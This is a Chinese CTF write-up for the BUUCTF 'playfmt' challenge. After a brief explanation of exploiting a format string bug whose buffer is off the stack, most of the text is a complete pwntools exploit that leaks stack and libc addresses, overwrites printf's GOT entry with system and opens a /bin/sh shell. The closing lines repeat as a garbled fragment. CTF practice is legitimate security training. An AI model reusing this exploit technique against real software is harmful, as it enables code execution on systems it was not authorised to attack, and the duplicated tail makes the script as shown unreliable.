Playfmt
buuctf playfmt
非栈上格式化字符串攻击
注意一点是每次输入要补齐200字节,避免read时将两次发送的读到一起.
简单讲下原理:
找这种三条栈地址的地址链,通过修改0xffdba828(偏移6处)指向0xffdba82c,此时该链条上最末端为0x80485ea,这时再改0xffdba82c指向的地址为printf got表即可,此时栈上可通过栈地址为0xffdba82c处修改got表!
提供本地打通exp,环境不一样,远程就不想调了qaq!
from pwn import *
from LibcSearcher import *
file_path = "./chall/1"
local = 1
remote_path = "node4.buuoj.cn:27003"
elf = ELF("./chall/1")
# libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("/usr/lib/i386-linux-gnu/libc.so.6")
################################ forbidden ####################################
if local != 1:
p = remote(remote_path.split(":")[0],int(remote_path.split(":")[1]))
else:
p = process(file_path)
sd = lambda payload : p.send(payload)
sdl = lambda payload : p.sendline(payload)
sda = lambda data,payload : p.sendafter(data,payload)
sdla = lambda data,payload : p.sendlineafter(data,payload)
it = lambda : p.interactive()
rcv = lambda num : p.recv(num)
rcv_all = lambda : p.recv()
rcvu = lambda data : p.recvuntil(data)
lbc = lambda str1,str2 : LibcSearcher(str1,str2)
lg = lambda name,data : p.success(name + "-> 0x%x" % data)
ms = lambda addr,num : log.success("%s ——> 0x%x",addr,num)
#采用b *<addr> b *$rebase(<addr>)下断点
def debug(a=''):
if local:
if a=='':
gdb.attach(p)
pause()
else:
gdb.attach(p,a)
else: pass
################################ forbidden ####################################
get_addr_64 = lambda: u64(rcvu(b"\x7f")[-6:].ljust(8,b"\x00"))
def fmtstr(astr,a):
payload = astr.format(i for i in a )
return bytes(payload.encode("utf-8"))
############################################################################
##check: arch
##check:local
##check: .so
if __name__ == "__main__":
context(os='linux', arch='i386')
# debug("b *0x804854f")
payload = b"aaaa%6$pbbbb%15$p"
# debug()
sdla("=====================",payload)
rcvu(b"aaaa")
stack_addr = int(rcv(10),16)
rcvu(b"bbbb")
libc_base = int(rcv(10),16)-0x21519
sys_addr = libc_base + libc.symbols["system"]
ms("sys_addr",sys_addr)
ms("stack_addr",stack_addr)
ms("libc_base",libc_base)
stack_1 = stack_addr - 0xc
stack_2 = stack_addr + 0x4
tmp1 = stack_1&0xff
payload = "%{}c%6$hhn".format(tmp1)
payload = bytes(payload.encode("utf-8")).ljust(200,b"\x00")
sd(payload)
# p.recvline()
tmp2 = 0xa010&0xffff
payload ="%{}c%10$hn".format(tmp2)
payload = bytes(payload.encode("utf-8")).ljust(200,b"\x00")
sd(payload)
sleep(1)
# p.recvline()
tmp3 = stack_2&0xff
tmp4 = 0xa012
payload = "%{}c%6$hhn".format(tmp3)
payload = bytes(payload.encode("utf-8")).ljust(200,b"\x00")
sd(payload)
sleep(1)
# p.recvline()
# debug()
# debug("b *0x804854f") #printf 处
#更改偏移为0b处指向printf_got+2
payload = "%{}c%10$hn".format(tmp4&0xffff)
payload = bytes(payload.encode("utf-8")).ljust(200,b"\x00")
sd(payload)
# sleep(0.1)
# p.recvline()
#更改低2字节为system低2字节
tmp4 = sys_addr & 0xffff
tmp5 = (sys_addr >> 16) &0xff
payload = "%{}c%11$hhn%{}c%7$hn".format(tmp5, tmp4-tmp5)
payload = bytes(payload.encode("utf-8")).ljust(200,b"\x00")
sd(payload)
sleep(0.3)
payload = b"/bin/sh\x00".ljust(200,b"\x00")
sd(payload)
it()
00")
sd(payload)
sleep(0.3)
payload = b"/bin/sh\x00".ljust(200,b"\x00")
sd(payload)
it()